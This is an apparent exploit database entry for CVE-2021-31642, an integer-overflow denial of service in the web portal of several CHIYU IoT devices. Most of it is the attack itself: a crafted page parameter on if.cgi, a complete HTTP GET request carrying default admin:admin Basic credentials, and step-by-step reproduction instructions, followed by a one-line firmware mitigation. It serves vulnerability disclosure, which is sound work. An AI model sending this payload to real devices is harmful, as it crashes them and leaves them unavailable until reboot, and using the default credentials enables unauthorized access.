CHIYU IoT Devices - Denial of Service (DoS)

# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC   - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1



Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to the CGI component (if.cgi)
  3. Append the payload at the end of the vulnerable parameter (page)
  4. Submit the request and observe payload execution


 Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.